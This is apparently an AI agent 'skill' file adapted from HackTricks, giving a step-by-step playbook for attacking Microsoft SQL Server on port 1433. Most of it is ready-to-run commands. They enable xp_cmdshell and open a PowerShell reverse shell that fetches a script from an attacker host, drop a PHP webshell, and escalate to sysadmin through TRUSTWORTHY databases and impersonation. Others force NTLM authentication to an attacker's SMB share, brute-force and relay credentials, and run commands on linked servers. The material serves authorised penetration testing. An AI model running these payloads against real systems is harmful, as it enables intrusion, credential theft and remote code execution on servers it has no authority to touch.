Hacktricks-skills mssql-pentest

How to pentest Microsoft SQL Server (MSSQL) on port 1433. Use this skill whenever the user mentions MSSQL, SQL Server, port 1433, database enumeration, SQL injection against MSSQL, xp_cmdshell, linked servers, SQL Server privilege escalation, or any MSSQL-related security testing. This skill covers enumeration, exploitation, privilege escalation, and persistence techniques for MSSQL servers.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/network-services-pentesting/pentesting-mssql-microsoft-sql-server/pentesting-mssql-microsoft-sql-server/SKILL.MD
source content

MSSQL Pentesting Skill

A comprehensive guide for pentesting Microsoft SQL Server instances, covering enumeration, exploitation, privilege escalation, and persistence.

Quick Start

When you encounter MSSQL (port 1433), follow this workflow:

  1. Enumerate the service and gather information
  2. Authenticate using available credentials
  3. Explore databases, tables, and permissions
  4. Exploit misconfigurations for RCE or data access
  5. Escalate privileges if possible
  6. Maintain access if needed

Enumeration

Initial Reconnaissance

Start with nmap to gather basic information:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>

Metasploit Enumeration (requires credentials)

# Information gathering
use auxiliary/admin/mssql/mssql_enum
use admin/mssql/mssql_enum_domain_accounts
use admin/mssql/mssql_enum_sql_logins
use auxiliary/admin/mssql/mssql_findandsampledata
use auxiliary/scanner/mssql/mssql_hashdump
use auxiliary/scanner/mssql/mssql_schemadump

# NTLM hash stealing (start Responder first)
use auxiliary/admin/mssql/mssql_ntlm_stealer

RID Brute Force for User Enumeration

When you have valid credentials but limited privileges, enumerate domain users:

# Using NetExec (nxc)
nxc mssql <IP> --local-auth -u <username> -p '<password>' --rid-brute 5000

# Without --local-auth for domain accounts
nxc mssql <IP> -u DOMAIN\\user -p 'password' --rid-brute 5000

Manual Connection Methods

Using mssqlclient.py (Impacket):

mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

Using sqsh:

sqsh -S <IP> -U <Username> -P <Password> -D <Database>
# For Windows Auth, use "." as domain for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>

Basic Enumeration Queries

Once connected, run these queries to understand your access:

-- Get SQL Server version
SELECT @@version;

-- Get current user
SELECT user_name();

-- Get all databases
SELECT name FROM master.dbo.sysdatabases;

-- Get all users and roles
SELECT * FROM sys.database_principals;

-- Filtered user list
SELECT name, create_date, modify_date, type_desc as type, 
       authentication_type_desc as authentication_type, sid
FROM sys.database_principals
WHERE type not in ('A', 'R')
ORDER BY name;

-- List linked servers
EXEC sp_linkedservers;
SELECT * FROM sys.servers;

-- Get your permissions on SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');

-- Get your permissions on current database
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');

-- Check if you're sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');

-- Get members of sysadmin role
USE master;
EXEC sp_helpsrvrolemember 'sysadmin';

-- Check who can run xp_cmdshell
USE master;
EXEC sp_helprotect 'xp_cmdshell';

Exploitation Techniques

Enable xp_cmdshell for RCE

-- Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

-- Enable advanced options and xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- One-liner version
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; 
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- Execute commands
EXEC master..xp_cmdshell 'whoami';

-- Get reverse shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://<ATTACKER_IP>:8000/rev.ps1") | powershell -noprofile';

Bypass xp_cmdshell Blacklisting

'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping <ATTACKER_IP>' --

Read Files with OPENROWSET

-- Read any file the account has access to
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents;

-- Check if you have required permissions
SELECT * FROM fn_my_permissions(NULL, 'SERVER') 
WHERE permission_name='ADMINISTER BULK OPERATIONS' 
   OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

Write Files with OLE Automation

-- Enable Ole Automation Procedures (requires admin)
sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;

-- Create a file
DECLARE @OLE INT;
DECLARE @FileID INT;
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT;
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1;
EXECUTE sp_OAMethod @FileID, 'WriteLine', NULL, '<?php echo shell_exec($_GET["c"]);?>';
EXECUTE sp_OADestroy @FileID;
EXECUTE sp_OADestroy @OLE;

Execute Python/R Scripts

-- Execute Python script
EXECUTE sp_execute_external_script @language = N'Python', 
  @script = N'print(__import__("getpass").getuser())';

-- Execute commands via Python
EXECUTE sp_execute_external_script @language = N'Python', 
  @script = N'print(__import__("os").system("whoami"))';

-- Read file via Python
EXECUTE sp_execute_external_script @language = N'Python', 
  @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())';

Registry Access

-- Read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 
  'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 
  'WorkingDirectory';

-- Write to registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 
  'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 
  'MyNewValue', 'REG_SZ', 'Now you see me!';

-- Check permissions
USE master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';

Privilege Escalation

From db_owner to sysadmin (Trustworthy Database)

-- Find trustworthy databases
SELECT a.name, b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b ON a.name=b.name;

-- Get database owners
SELECT suser_sname(owner_sid) FROM sys.databases;

-- Check your roles in a database
USE <trustworthy_db>;
SELECT rp.name as database_role, mp.name as database_user
FROM sys.database_role_members drm
JOIN sys.database_principals rp ON (drm.role_principal_id = rp.principal_id)
JOIN sys.database_principals mp ON (drm.member_principal_id = mp.principal_id);

-- If you're db_owner of a trustworthy database, escalate:
USE <trustworthy_db>;

-- Create stored procedure with EXECUTE AS OWNER
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'YOUR_USERNAME','sysadmin';

-- Execute to get sysadmin
EXEC sp_elevate_me;

-- Verify
SELECT is_srvrolemember('sysadmin');

User Impersonation

-- Find users you can impersonate
SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';

-- Impersonate a user
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');

-- Revert to original user
REVERT;

Linked Server Exploitation

-- List linked servers
EXEC sp_linkedservers;

-- Query through linked server
SELECT * FROM [LINKED_SERVER_NAME].master.dbo.sysdatabases;

-- Execute commands on linked server
EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER_NAME];

NTLM Hash Stealing

Trigger NTLM Authentication

-- Force SQL Server to authenticate to your SMB server
EXEC master.dbo.xp_dirtree '\\<ATTACKER_IP>\any\thing';
EXEC master..xp_subdirs '\\<ATTACKER_IP>\anything\';
EXEC master..xp_fileexist '\\<ATTACKER_IP>\anything\';

Capture the Hash

# Start Responder
sudo responder -I tun0

# Or use impacket-smbserver
sudo impacket-smbserver share ./ -smb2support

# Or use Metasploit
use auxiliary/admin/mssql/mssql_ntlm_stealer

Check Permissions for These Functions

USE master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

Common Tools

MSSQLPwner

# Brute force with various credential types
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Execute commands
mssqlpwner corp.com/user:lab@<IP> -windows-auth custom-asm hostname
mssqlpwner corp.com/user:lab@<IP> -windows-auth -link-name SRV01 exec hostname

# NTLM relay attack
mssqlpwner corp.com/user:lab@<IP> -windows-auth ntlm-relay <ATTACKER_IP>

CrackMapExec

# Execute commands
cecm mssql -d <Domain> -u <username> -p <password> -x "whoami"

# Execute PowerShell
cecm mssql -d <Domain> -u <username> -H <HASH> -X '$PSVersionTable'

Important Notes

DBaaS Environments

In cloud database-as-a-service environments (AWS RDS, Azure SQL, etc.):

  • xp_cmdshell
    is typically disabled and cannot be enabled
  • TRUSTWORTHY
    database property is not supported
  • Focus on application-layer exploitation and data exfiltration
  • Look for misconfigured IAM roles or network/VPC design issues

Permission Requirements

  • xp_cmdshell: Requires EXECUTE permission on the stored procedure
  • OPENROWSET BULK: Requires ADMINISTER BULK OPERATIONS permission
  • OLE Automation: Requires admin privileges to enable
  • Registry functions: Check with
    sp_helprotect
    before attempting

System Databases

  • master: System-level details for the SQL Server instance
  • msdb: SQL Server Agent scheduling, alerts, and jobs
  • model: Blueprint for new databases
  • tempdb: Temporary storage for transient objects
  • Resource: Read-only, houses system objects

References